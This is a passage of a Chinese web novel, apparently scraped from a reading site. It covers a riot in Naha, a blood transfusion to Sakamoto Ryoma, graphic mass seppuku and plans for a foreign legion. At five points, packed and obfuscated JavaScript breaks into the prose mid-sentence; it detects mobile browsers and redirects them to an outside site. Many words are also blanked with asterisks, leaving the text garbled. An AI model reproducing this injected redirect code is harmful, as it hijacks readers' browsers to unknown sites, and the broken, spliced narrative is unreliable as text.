但山本清的号召力显然更强。这个经常和下级士兵同饮同乐的武将,在短时间内就聚集了上千人。恐慌和愤怒交织的情绪在人群中蔓延。 “中原人要屠城了!不想死的跟我冲!”山本清的怒吼声响彻夜空。他的眼睛通红,青筋暴起。 恐惧中的人群爆发出歇斯底里的呐喊:“活着!我们要活着!”声浪一波高过一波,震得房屋都在颤抖。 码头附近的街区,华人和琉球土著组成的卫队已经严阵以待。每个路口都设置了路障和沙袋,将上万日本人封锁在小范围内。 今晚值守的将领是诸葛林。他身着一袭深蓝色北军军官服,皮靴和黄铜扣子在月光下闪着寒光。他的目光如鹰隼般锐利,扫视着每一个可能的突破点。 “大人,日本人似乎要暴动!”一个士兵跑来报告,声音中带着紧张。 诸葛林冷笑一声:“怕什么?当初我们赤手空拳都能打赢他们,现在还怕这群暴民?”他的调侃让紧张的士兵们笑了起来。 火枪手在沙袋后就位,建筑物上布满了手持燃烧瓶和手雷的士兵。每个人都绷紧了神经,等待着命令。 “记住,不要轻举妄动。”诸葛林沉声道,“除非他们先动手,否则不准开火。” 远处传来阵阵喊杀声,火把的光芒在黑暗中晃动,显示出暴动人群的规模正在不断扩大。 诸葛林冷眼看着这一切。有了洋人提供的武器,他有十足的把握镇压这场暴乱。但不知为什么,他总觉得事情没那么简单。 就在他准备下令射击时,身后传来急促的脚步声。 “传宰相令,禁止使用火器,防守本阵,别让敌军四散而逃,切勿造成过多人员损失!”传令兵气喘吁吁地喊道。 诸葛林愣住了,这简直是不可能完成的任务。他的眉头紧锁,额头上渗出细密的汗珠。 但命令就是命令,他只能咬牙下令:“快速设置防御工事!准备石头!房顶上的只准用辣椒面手雷!所有人注意,不准使用致命武器!” 士兵们面面相觑,但还是迅速行动起来。有人搬来木箱和石块,有人准备绳索,还有人将辣椒面装进布袋。 夜色中,两股人马即将碰撞。暴动的日本人手持简陋武器,怒吼着向前冲锋。而华人士兵则严阵以待,准备用非致命方式阻止这场暴动。 一场不流血的战斗即将打响,而这背后究竟隐藏着什么阴谋,谁也说不清楚。 那霸港灯火通明,一艘英国商船上人影憧憧,戒备森严。 甲板上的水手们来回巡视,手中的火把将夜色驱散开来。船舷两侧,整齐排列着火炮,随时准备应对可能的突发情况。 陈逸风立于船头,目光凝视着港口的动静。远处灯火阑珊,偶尔传来几声醉汉的喧哗。 “这些日本人,总是这么难缠。”瑾周信走到他身边,压低声音说道。他的脸上带着几分疲惫,显然这几天的局势让他也感到焦虑。 陈逸风没有立即回答,而是继续注视着港口的方向。夜色中,几艘渔船正缓缓驶入港湾,船上的渔民们有说有笑,与这紧张的气氛形成鲜明对比。 “Sir,要来一杯吗?”英国船长威勒姆不知何时来到身后,手里端着一瓶陈年葡萄酒。他的中文说得并不流利,但语气中带着几分善意。 “谢谢。”陈逸风接过酒瓶,仰头灌了一口。辛辣的酒液顺着喉咙滑下,带来一丝暖意。 “说实话,我很好奇。”威勒姆船长靠在船舷上,“您看日本和天朝比较,到底谁更有实力?” 陈逸风放下酒瓶,目光变得深邃:“船长,您觉得呢?” 第八十章 输血 “这还用问?”威勒姆笑着摇了摇头,“清国地大物博,人口众多,单是军队数量就足以让日本望而生畏。更何况,日本不过是个弹丸之地。” “正是这种轻视,才最容易翻船。”陈逸风轻声道,“小小日本,野心不小啊。” 话音未落,甲板上突然响起一阵急促的脚步声。一名身着白大褂的医生匆匆跑来,他的手套上还沾着血迹,口罩也来不及摘下。 “手术完成了。”墨德医生气喘吁吁地说,“**已经取出,但...”他停顿了一下,“病人失血过多,情况不太乐观。” 这是英军克里米亚战争时期的军医墨德,医术精湛。能请到他来主刀,已经是难得的机会。 “为什么不输血?”陈逸风突然问道。 墨德医生愣了一下,随即眼前一亮:“您竟然知道输血?虽然我们早在1818年就开始研究这项技术,但成功率实在太低了,就像在**一样。” 陈逸风陷入沉思。他想起来了,这个年代还未发现血型,难怪输血如此危险。但现在的情况,似乎也只能赌一把了。 “我愿意为坂本龙马输血。”他沉声说道。 此言一出,船上顿时炸开了锅。 “不可!”沈达华第一个跳出来,他的脸上写满了焦急,“先生的鲜血凭什么让东洋人染指?这太冒险了!” 周围的将领们也纷纷出声劝阻,场面一时混乱不堪。 陈逸风看着众人焦急的模样,心中暗自盘算。他深知自己是O型血,理论上完全可以安全输血。但这些古人对现代医学一无所知,解释起来只怕更加麻烦。 “诸位的好意我明白。”他抬手示意众人安静,“但此事关系重大,非我不可。” 转向沈达华时,他的目光变得格外深沉:“王爷,你应该明白我的用意。” 沈达华被这目光看得浑身一颤,额头渗出细密的汗珠。良久,他才长叹一声:“但愿日本人能记住这份恩情。” 墨德医生被这庄重的气氛感染,立即去准备输血工具。威勒姆船长则吩咐人取来相机,要将这历史性的一刻记录下来。 手术室内光线昏暗,只有几盏油灯摇曳。陈逸风躺在特制的高床上,通过一根橡胶软管向坂本龙马输血。鲜红的血液缓缓流动,在灯光下泛着诡异的光泽。 在场的所有人都跪了下来,包括那些见多识广的英国水手。在这个时代,血液就是生命的象征,此刻的场景在他们眼中无异于神迹。 就在这时,一阵急促的脚步声打破了沉寂。传令兵跌跌撞撞地冲进来:“报告!山本清又煽动**,声称我们要屠城!已经**了大批暴民,正向码头这边冲来!” “混账东西!”瑾周信怒不可遏,“大人正在救他们的使者,这些人还要挑起事端!” 远处传来阵阵喊杀声,山本清已经带着一群海贼众向码头推进。火把的光芒在黑夜中格外醒目,如同一条火龙蜿蜒而来。 陈逸风强忍着眩晕感,沉声下令:“一个小时内禁用火器,死守本阵。” 坂本龙马突然睁开眼睛,虚弱地说:“让我去劝他们...”话未说完,他又陷入昏迷。 墨德医生连忙检查他的情况:“血压还在下降,必须继续输血!” 甲板上传来一阵骚动,显然暴民已经逼近了码头。陈逸风环视众人,声音虽然虚弱但依然坚定:“必须坚持输血。用实际行动证明,我们不是他们口中的恶魔。” 船舱内,陈逸风感到一阵阵眩晕。失血带来的虚弱感让他意识开始模糊,但他依然坚持着。因为这不仅仅是在救一个人的性命,更关系到两国未来的走向。 码头上传来阵阵喊声,似乎双方已经开始对峙。陈逸风想要起身查看情况,却被墨德医生按住。 “再坚持一会儿。”墨德医生说,“血液输送得差不多了。” 威勒姆船长站在舱门口,不时向外张望。他的手按在腰间的配枪上,随时准备应对可能的冲突。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482264|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >诸葛林站在港口的高处,望着远处涌来的黑压压人群,心中憋着一股无名火。 “这帮疯子真敢来。”他眯起眼睛,注视着那些举着火把的暴徒。火光映照下,每一张面孔都扭曲着,充满了疯狂与仇恨。 身旁的副将低声道:“大人,要不要先撤?他们人太多了。” “撤?”诸葛林冷笑一声,“撤到哪去?让他们血洗那霸城吗?” 副将欲言又止。他知道诸葛林说得对,但面对两千名不要命的日本暴徒,仅凭他们这几百人,还真有些捉襟见肘。 “不准用火器,还要尽量减少伤亡。”诸葛林攥紧了拳头,“陈先生这命令......” 陈逸风的卫队与日本暴徒已经撞在了一起,两股人流如同两头蛮牛般角力。没有刀光剑影,没有血雨腥风,只有最原始的力量对抗。 “往前顶!”诸葛林的吼声在人群中炸响,“兄弟们,给我死死顶住!”他的声音嘶哑,却有着一股莫名的力量。 这种场面,任何武功都失去了意义。山本清引以为傲的剑术在此刻毫无用武之地,他的四肢都被周围的人体死死压制,每一次呼吸都需要拼尽全力。 “战场的死士们......”山本清刚要鼓舞士气,突然感觉小腿一阵剧痛,“八嘎!谁敢咬我!”他试图挣扎,却被人群挤得动弹不得。 但他的怒吼很快就淹没在人潮中。周围的喊杀声此起彼伏,混杂着痛苦的呻吟和愤怒的咒骂。 在这种密不透风的对抗中,弱小者很快就显露出劣势。已经有人因为无法呼吸而晕厥,鲜血从他们的口鼻溢出,但没人有余力去关心这些。人群如同沸腾的开水,不断翻涌着。 “兄弟们!”诸葛林的声音穿透人群,他的声音中带着一丝颤抖,“你们可知道,就在码头上,我们的陈大人正在用自己的鲜血输血救治日本使者!” “而这群白眼狼,却在背后散布谣言,说我们要屠城!”他的声音中充满了愤怒和不甘。 第八十一章 **终结,真相大白 这番话如同一把火,瞬间点燃了华人卫队的怒火。他们心中只有一个念头:这群忘恩负义的混蛋!怒火在每个人的胸中燃烧,化作无穷的力量。 “一!二!三!推!” 整齐的号子声中,华人阵营爆发出惊人的力量。虽然在人数上处于劣势,但他们的士气却在节节攀升。 野平太站在对抗的最前线,他能清晰地感受到这股力量的可怕。这位日本剑客的额头上渗出冷汗,开始大声呼喊:“退下吧!你们都被骗了!屠城只是谣言!” 但他的声音很快就被山本清压了下去:“别听他们胡说!世上怎么可能有什么输血秘法!这是骗局!”山本清的声音中带着一丝慌乱,但他依然倔强地坚持着。 就在这时,远处传来一阵整齐的脚步声。声音由远及近,如同滚雷般压来。 “我是桦山栗源!所有日本人听令,立即脱离战斗!”威严的声音穿透人群,如同一道惊雷。 “山本清,你这个蠢货!”竹中井上的怒吼随之而来,他的声音中充满了愤怒和懊恼,“陈大人根本没有屠城的理由,你中了别人的圈套!” 局势瞬间逆转。人群中开始出现骚动,日本人的阵型开始松动。 后方的日本人开始退却,如同剥洋葱般层层溃散。而华人这边却越战越勇,他们抓住这个机会,发起了最后的冲锋。每个人的眼中都燃烧着胜利的火焰。 “一!二!三!推!” 伴随着震天的呐喊,日本人的阵型彻底崩溃。溃散的人群如同潮水般向集中营退去。街道上一片混乱,到处都是推搡和呼喊声。 英国商船上,输血进行得很顺利,坂本龙马的面色逐渐红润起来。阳光透过船舱的窗户洒落在他的脸上,映照出一丝生机。 墨德医生专注地观察着输血的过程,手指不时按压输血管,确保血液流动顺畅。船舱内弥漫着浓重的药水味,混合着海风咸腥的气息。 “肖桑......”坂本龙马的声音有些沙哑,眼神却异常坚定,“我必须出去。外面的厮杀声一刻不停,每一秒都有无辜的人在死去。” 他挣扎着想要起身,手臂上的输血针管随着动作轻微晃动。肌肉的紧绷牵动着伤口,一丝鲜血渗出白色的绷带。 “别动!”墨德医生厉声喝止,额头上渗出细密的汗珠,“你现在的身体状况根本不允许剧烈活动。再乱动,伤口会裂开的!” 陈逸风站在一旁,看着坂本龙马那双执着的眼睛。那是一种他再熟悉不过的眼神,一种即使明知不可为而为之的倔强。 船舱外传来阵阵喊杀声,夹杂着痛苦的哀嚎。每一声惨叫都像一把利刃,刺痛着坂本龙马的心。 “再等十分钟。”陈逸风叹了口气,“等输血完成,我陪你一起出去。” 这十分钟对坂本龙马来说,仿佛度过了一个世纪那么漫长。他的目光不停地在舱门和窗户之间游移,耳边的厮杀声让他如坐针毡。 终于,在船员和码头工人的帮助下,他们用一定简易的轿子将坂本龙马抬出了商船,随即窦都被被眼前的景象所震撼。 断壁残垣中散落着无数尸体,血腥味随着海风扑面而来。焦黑的房屋冒着袅袅青烟,街道上到处是打斗的痕迹。几具尸体倒在路边,身上的伤口还在往外渗血。 “看到了吗?”陈逸风冷笑一声,声音里带着讽刺,“你们的剑士道精神,在利益面前就是这般丑陋。” 坂本龙马躺在担架上,喉结滚动,却无力反驳。他比任何人都清楚,日本几百年来的等级制度有多么森严。那些高高在上的上级剑士,可以随意践踏平民的生命,而下级剑士想要上升,却几乎是不可能的事。 这种压抑,要么让人疯狂,要么让人扭曲。眼前的惨状,不正是最好的明证吗? 就在这时,一阵急促的脚步声打破了短暂的沉默。金长森的声音突然响起:“大人小心!有刺客!” 话音未落,一道血影从不远处的废墟中冲出。那身影快如闪电,带着浓重的杀意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482265|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “清国奴,**!” 雾隐小鬼浑身是血,双眼充血,手持毒蒺藜以惊人的速度直扑陈逸风而来。 金长森带领的**手立即开火,火光四射,硝烟弥漫。但这次雾隐小鬼早有准备,她的身形如同鬼魅,在弹雨中灵巧地穿梭,避开了所有**。 眼看毒蒺藜就要击中陈逸风,他却突然暴喝一声:“你敢杀我,新选组和永安幕府都将不复存在!” 这一声暴喝如同惊雷,震得雾隐小鬼心神一颤。她的动作出现了一瞬间的迟疑,这短暂的停顿成了致命的破绽。 数枚穿云针破空而来,准确地击中她的双臂。鲜血飞溅,毒蒺藜当啷落地。雾隐小鬼再也支撑不住,重重摔倒在地。 孟明蛇一个箭步上前,死死按住她的肩膀:“大人,要活的还是死的?” 雾隐小鬼却不管不顾,死死地盯着陈逸风:“我明明已经杀了坂本龙马,可因为你,把一切都搞砸了!为什么……” 孟明蛇一膝盖顶在她腹部,打断了她的话。雾隐小鬼痛苦地蜷缩起来,咳出一口鲜血。 “为什么......”她的声音带着不解和不甘,“你们中原人不是懦弱的吗?为什么你如此特别......” 陈逸风懒得理会这种疯子,挥了挥手:“带下去好好审问。” 金长森这时跪地请罪,额头贴着地面:“宰相大人,罪臣有罪......” “起来吧。”陈逸风的声音有些疲惫,“今日你立了大功,算是将功补过了。” 金长森激动地解释道:“替您抓到这个女人是我的荣幸,属下曾与这些忍者打过交道,深知他们性格扭曲,必定会在此守株待兔,......” 就在这时,远处突然传来山呼海啸般的喊声,打断了金长森的话。 “一个小时已过!兄弟们,拿起刀子!” 陈逸风脸色一变,刚要起身,却因为失血过多而眼前发黑。他的身体摇晃了一下,冷汗顺着额头滑落。 第八十二章 危机四伏 孟明蛇连忙扶住他:“大人!” “快,背我过去!”陈逸风急道,声音里带着焦急,“再不阻止,又要**了!” 一千多名卫队士兵已经冲了上去,对着溃退的日本人拳打脚踢。他们的眼中噙着泪水,每一拳每一脚都带着愤怒和悲痛。 “恩将仇报的东西!” 士兵们一边打,一边流着泪喊。他们的声音嘶哑,带着说不出的悲愤。 山本清躲在桦山栗源身后,一脸茫然:“为什么他们在哭?明明我们才是被欺负的一方。” 远处,陈逸风被孟明蛇背着,缓缓而来。坂本龙马坐在轿子上,努力支撑着身体想要站起来。林渺远高举着破损的战旗紧随其后。 竹中井上见此情景,再也抑制不住怒火,一巴掌重重地抽在山本清脸上,发出清脆的响声:“八嘎!你这个蠢货!你毁了我们所有人!” “大人!” “军师!” 所有士兵跪倒在地,热泪盈眶。特别是那些日本人,看到坂本龙马还活着,更是放声大哭。有人捶胸顿足,有人喃喃自语,还有人直接跪地叩首。 山本清难以置信的看着这一幕,整个日本人阵营只得束手就擒,被诸葛林等众人再次押回看守地。 日本人走后,陈逸风拍拍孟明蛇的肩膀,“放我下来。”陈逸风的声音虚弱却坚定。 孟明蛇迟疑片刻,还是照做了。他很清楚,此刻的陈逸风需要以一个强者的姿态面对众人,而不是一个伤者。 陈逸风双脚刚触地,便感觉天旋地转,眼前一片模糊。周围的士兵见状,纷纷上前想要搀扶。 “都别动!”他猛地抬手,声音中带着不容置疑的威严,“我要独自撑着。” 士兵们不敢上前,只能眼睁睁看着他强撑着身体。陈逸风咬紧牙关,强忍着眩晕感。刚刚失血过多,此刻却要直面如此重要的场面,这种感觉着实不好受。 “该死,此刻我渴望来点甜的...”陈逸风低声自语,声音几不可闻。 一旁的老兵耳朵却格外灵敏:“大人,您是要糖?那霸最出名的就是砂糖,我这就去找!” 不等陈逸风回应,几名士兵已经冲进附近的民居,开始翻找起来。房屋内传来瓶罐碰撞的声响,还夹杂着几声惊慌失措的尖叫。 看着手下们忙碌的身影,陈逸风苦笑。堂堂一军统帅,上阵前先要吃糖,这种事怕是前无古人了。他扶着腰间的伤口,感受着温热的血液正在缓缓渗出。 很快,士兵们就找来了半罐砂糖。陈逸风也顾不得其他,直接倒了两口入喉。粗糙的砂糖颗粒摩擦着喉咙,带来一阵刺痛感。 糖分入体,血糖迅速升高,头晕目眩的感觉渐渐消退。他的眼神也开始变得清明起来。 “你拿着,”陈逸风将糖罐递给身边的士兵,“待会可能还要用到。” 陈逸风迈步向日裔集中营走去,他的步伐虽然缓慢,但每一步都走得极为坚定。他的眼神渐渐变得锐利,仿佛一把出鞘的利剑。坂本龙马依旧坐在轿子上,被人抬着紧跟其后。 “桦山栗源、竹中井上,还有那个不知死活的山本清,”他冷声道,声音中带着浓浓的杀意,“今天,我要你们给我一个交代!” 随着那面染血的陈字战旗逼近,整个集中营内骚动不安。有人跪地求饶,有人抱头痛哭,还有人面无表情地等待着命运的审判。 桦山栗源看到坂本龙马那充满杀意的眼神,心中一沉。他拎着山本清,跪在陈逸风面前。山本清的衣襟已经被冷汗浸透,脸上写满了恐惧。 “都是山本清的错,他被小人蛊惑,做出了这等蠢事。”桦山栗源叩首道,额头重重地磕在地上,发出“砰”的一声,“我愿以死谢罪。” 说完,他转向陈逸风身边的野平太:“还请您为我介错。” 野平太一愣,下意识看向陈逸风。后者的表情依旧冷峻,看不出任何情绪波动。 就在这时,山本清突然挣脱开桦山栗源的钳制:“主谋是我,我来**!但在此之前,我要问问这位清国大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482266|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你到底想如何处置我们这些日本人?” 他指着身后密密麻麻的人群:“港口有十万同胞被关在集中营,每天吃着稀粥做着苦工。日本人不是奴隶,我们绝不会...” “给我打!”陈逸风怒喝,声音中带着一丝疲惫,但更多的是愤怒,“这种颠倒黑白的东西,给我狠狠地打!” 孟明蛇立即上前,对着山本清就是一顿狠抽。很快,山本清的脸就肿得不成样子,鲜血从嘴角溢出。 这一幕让所有日本人心惊胆战,生怕下一刻就会遭遇**。 “陈先生,”一直沉默的坂本龙马开口了,声音中带着虚弱,“可否让我说几句?” 陈逸风点头应允。 坂本龙马强撑着站起身,居高临下环视众人:“今日之事,你们大错特错。我确实遭**杀,但行凶者并非陈先生,而是日本人!” “怎么可能?”人群中一片哗然。有人惊呼,有人摇头,更多的人露出不可置信的表情。 山本清擦着脸上的血,声音中带着嘶哑:“坂本大人一定是被骗了...” “八嘎!”坂本龙马暴喝,脸色变得更加苍白,“为何要骗我?中原人又为何要杀我?把恶八郎带上来!” 几名士兵押着浑身是伤的恶八郎走来。他的样子比山本清更加凄惨,身上的伤口还在不断渗血。 “恶八郎为雾隐小鬼提供了**,而她利用易容术接近我...”坂本龙马说到这里,又是一阵剧烈的咳嗽。 “不可能!”山本清像是抓住了最后一根稻草,声嘶力竭地大叫,“雾隐小鬼效忠于岛津家,怎会刺杀您这位全权使者?” 野平太上前一步,声音沉稳:“诸位,这个问题我可以回答。” “雾隐小鬼早已被德川家收买,去年就成了新选组的情报组长。她向京都输送了大量情报,岛津家始终被瞒着真相。” 这个消息如同惊雷,震得所有日本高层目瞪口呆。有人面如死灰,有人双腿发软,更有人直接瘫坐在地。 第八十三章 **是武士最后的荣耀 混乱之中,谁也没注意到山本清的异常。这位以暴躁著称的武将,此刻却出奇的安静。他站在人群边缘,目光空洞,仿佛丢了魂。 不,与其说是平静,不如说是彻底崩溃。 当他得知雾隐小鬼竟是岛津家主的死敌以后,山本清心中的信仰轰然倒塌。 往日种种在脑海中闪过,每一幕都让他痛彻心扉。 作为武者,他不惧战争,也不惧死亡。在他眼中,敌人如猪狗,贱民如草芥。杀戮对他而言,不过是家常便饭。 年轻时他没少拿贱民试刀,这在古代日本再正常不过。剑士阶级杀死贱民,无需承担任何责任。一想到过去的所作所为,他的手不自觉地颤抖起来。 但剑士最重要的,是对主君的绝对忠诚。 此事不光关乎传承与礼制,更关系到整个家族的生死存亡。背叛主君的剑士,不仅自己要死,还会连累整个家族。耻辱将永远伴随着家族的名字,世世代代都无法洗刷。 山本清正是这种剑士道的坚定追随者。对岛津家的忠诚,是他一切行为的根本。每次想到自己为主君效力的场景,他都会感到无上的荣耀。 但现在,这个信仰之轴被斩断了。 “为什么会这样......”山本清喃喃自语,声音嘶哑得不成样子,“雾隐小鬼竟是德川家的细作,我怎会如此愚蠢......” 想到自己可能坑害了岛津家,他突然发狂般冲向前去。双眼布满血丝,面容扭曲得可怕。 陈逸风身边的士兵立刻举起**,枪口对准了他的要害。 “住手!”坂本龙马连忙阻止,“不要开火,他是冲我来的......” 山本清跪在坂本龙马面前,额头重重磕在地上:“坂本龙马大人,请赐我一把心影刃!” 坂本龙马俯视着这位曾经的对手:“你已决意如此?” “在下愚蠢至极,不仅伤害了清国大人,还成了敌人的棋子。”山本清的声音带着决绝,“若不以死谢罪,如何震慑后人?” 坂本龙马沉默片刻,将心影刃扔给他,又将太刀交给桦山栗源:“此人是你麾下的亲信,该由你来介错。” 桦山栗源接过太刀:“山本君,我的刀很快,不会让你多受痛苦。” 山本清抬头露出一个微笑,那笑容平静得令人心惊。他跪坐下来,动作优雅地撕开和服,露出结实的胸膛。 “陈大人,山本清向您谢罪!” 锋利的心影刃刺入腹部,鲜血喷涌而出。 在场许多人都是第一次见到**,不少妇孺当场昏厥。有人发出惊恐的尖叫,更多的人则是呆立当场,无法移开视线。 山本清咬紧牙关,没有发出一声痛呼。他的手稳稳地划出一个十字,内脏都漏了出来。鲜血染红了地面,空气中弥漫着刺鼻的腥味。 “玄天神在上......”他低声祈祷着,横向一刀,完成了最后的仪式。 周围的剑士群情激奋,纷纷跪地叩首。有人在低声啜泣,有人在默默祈祷,更多的人则是肃然起敬。 就连野平太等海贼众也不禁动容:“虽为敌人,却是值得尊敬的剑士!” 陈逸风看得目瞪口呆,这才真正理解了剑士道的可怕。这些人竟将杀戮与死亡视为人生的至高信条,将生命看得如此轻贱。 “陈大人......”山本清气若游丝,鲜血从嘴角溢出,“恳请怜悯东瀛黎民......” “桦山大人,我切得如何?”他的声音越来越微弱,却依然保持着剑士的尊严。 桦山栗源泪如雨下:“漂亮,这是最完美的剖腹!” 太刀闪电般劈下,准确砍中颈椎,山本清的头颅滚落在地。他的表情安详,仿佛终于完成了某种救赎。 这种近乎宗教仪式般的**,让在场所有人都震撼不已。 就连久经沙场的靖孙沈达华也不禁感叹:“可怕的民族,可怕的剑士道......” 山本清的死仿佛打开了某种闸门,更多的剑士开始撕开和服,拿起心影刃。 一排十人齐刷刷跪在陈逸风面前,动作整齐得令人心惊。 “陈大人,我等皆有罪,愿以性命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482267|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平息您的怒火!”他们高声呼喊,声音里带着决绝。 当第四排剑士跪下,已有三十一人身首异处。他们的尸体整齐地排列着,仿佛在诉说着某种残酷的美。 陈逸风终于忍不住怒吼:“住手!都他妈给我住手!没有我的允许,谁也不准剖腹!”他的声音里带着难以抑制的愤怒和震惊。 “行了,你们赢了。”他深吸一口气,“那两千士兵的性命我网开一面了,他们不过是听命行事。至于剩下的剑士,安静等待审判吧。” 经过坂本龙马身边时,陈逸风冷冷道:“这是你安排的好戏?就这样报答救命之恩?” 坂本龙马沉默不语,只是愧疚地望着陈逸风远去的背影。 此时的那霸城内流言四起,屠城的恐惧如同阴云般笼罩着每一个日本人的心头。街道上行人寥寥,偶有几个商贩低着头快步而过,生怕惹来祸端。 茶馆内,几个老者正在低声议论。 “听说了吗?清军要对我们...” “嘘,小声点!” “可是...” 话音未落,外头传来一阵骚动。街上的人群纷纷向城中心涌去,茶馆里的人也顾不得喝茶,急忙跟了出去。 城中心的广场上,密密麻麻站满了人。陈逸风身着戎装,立于高台之上。阳光下,他的身影显得格外挺拔。 “诸位莫要惊慌。”陈逸风的声音不疾不徐,却传遍了整个广场,“我在此宣布战后惩处方案。” 台下的人群屏住呼吸,连风吹过树叶的沙沙声都清晰可闻。 “十年内,所有日本人税收翻倍。**者偿命,劫掠者重罚,其余者不问。” 简单的几句话,却让在场的日本人如释重负。原本紧绷的面容渐渐舒展,有人甚至喜极而泣。 “太好了...太好了...”一个老妇人抹着眼泪,“我们不用**...” 陈逸风扫视着台下的人群,眼底闪过一丝深意。税收翻倍看似宽仁,实则能让日本商人在贸易中彻底失去竞争力。望海商圈,从此将成为华商的天下。 第八十四章 陈逸风的雄图 就在这时,人群中突然传来一阵骚动。只见几个人抬着担架,艰难地在人群中穿行。担架上躺着的,正是坂本龙马。 “让一让,让一让!”抬担架的**声喊着。 人群自动分开一条通道。坂本龙马脸色苍白,但眼神依然清明。当担架经过高台时,他强撑着要坐起来。 “坂本龙马大人,您别动!”旁边的人连忙劝阻。 坂本龙马摆摆手:“无妨。” 他艰难地支起上身,对着陈逸风深深一躬:“多谢陈大人救命之恩。” 这一幕,让周围的日本人震惊不已。更让他们惊讶的是,不知是谁从怀里掏出了几张照片,照片很快在人群中传开。 “这...这是真的吗?” “天啊,陈大人亲自为坂本龙马大人输血?” 照片上,陈逸风正在为坂本龙马输血救命。这一幕被英国船长拍了下来,现在成了最有力的见证。 “若非陈大人以血相救,坂本龙马早已命丧黄泉。”坂本龙马的声音虽然虚弱,但字字清晰。 一时间,广场上跪倒一片。有人痛哭流涕,有人喃喃自语:“仁义无双...当世活菩萨...” 陈逸风看着这一幕,眉头微皱。他示意野平太去了解情况。 “大人。”野平太很快回来复命,“他们都在称颂您仁义无双,说您是活菩萨转世。这些照片,是英国船长让人散发的。” 陈逸风轻笑着摇头。他没想到一场输血,竟让这些日本人从精神上彻底臣服了。既然如此... “传令下去,明日在樱之宿召集所有亲信。” 次日清晨,樱之宿的大堂内。 陈逸风坐在主位上,目光扫过堂下众人。 “从今日起,我们将组建一支千人规模的沧波卫。”他的声音掷地有声,“这支队伍,将是这个时代最精锐的力量。” 说着,他取出一叠图纸铺在桌上。众人凑近一看,只见上面画着各种奇特的武器构造图。 “这是前装式玄雷线膛枪的构造图。”陈逸风指着其中一张图纸,“接下来,我们还会装备姆克雷、霆影枪等武器。” “大人,这些武器...”苗烈欲言又止。 陈逸风抬手制止:“不必多想。现在我们要做的,就是训练。” 他详细讲解了新的编制方式。十人为班,三班一排,三排一连。这种三三制的编制方式,完全不同于清军的传统编制。 林远渺等老兵听着,脸上露出担忧之色。这些新式武器、新式编制,对他们来说都太陌生了。 似乎看出了他们的心思,陈逸风温声道:“林将军,你们都是好手。新式作战虽然和以往不同,但以你们的资质,很快就能掌握。我会安排你们从基层开始学起。” 听到这话,林远渺等人顿时精神一振:“遵命!” 庆功宴上,十多名海贼代表正襟危坐,以野平太为首。他们的目光不时偷瞄着上座的陈逸风,空气中弥漫着一股难言的紧张感。 外面的街道上,还有上百名海贼正焦躁地喝着清酒。他们三三两两聚在一起,低声议论着,不时发出粗犷的笑声。等这场庆功会已经等得心急如焚,为的就是那一份赏赐。 “野平太。”陈逸风突然开口,声音不疾不徐,“我要组建一支直属部队,代号"异族营"。这支军团将由非华人组成,而你们日本剑士,将是其中的中坚力量。” 他停顿了一下,目光灼灼地看向野平太:“如果给你充足的军饷,你能为我招募多少忠诚的剑士?” 此言一出,在场所有人都愣住了。 异族营?这个陌生的词汇让人心惊。沈达华下意识地攥紧了拳头,孟明蛇的眉头深深皱起,瑾周信则是一脸凝重。他们面面相觑,眼中满是震惊。 自古以来,收拢异族成军就是大逆不道。当年安禄山不就是靠着外族军队攻入长安,葬送了大唐盛世?这样的教训,历史上不胜枚举。 野平太双眼放光,激动得声音都在颤抖:“大人!只要您给足军饷,一年之内,我必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482268|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为您带来两万浪人!” 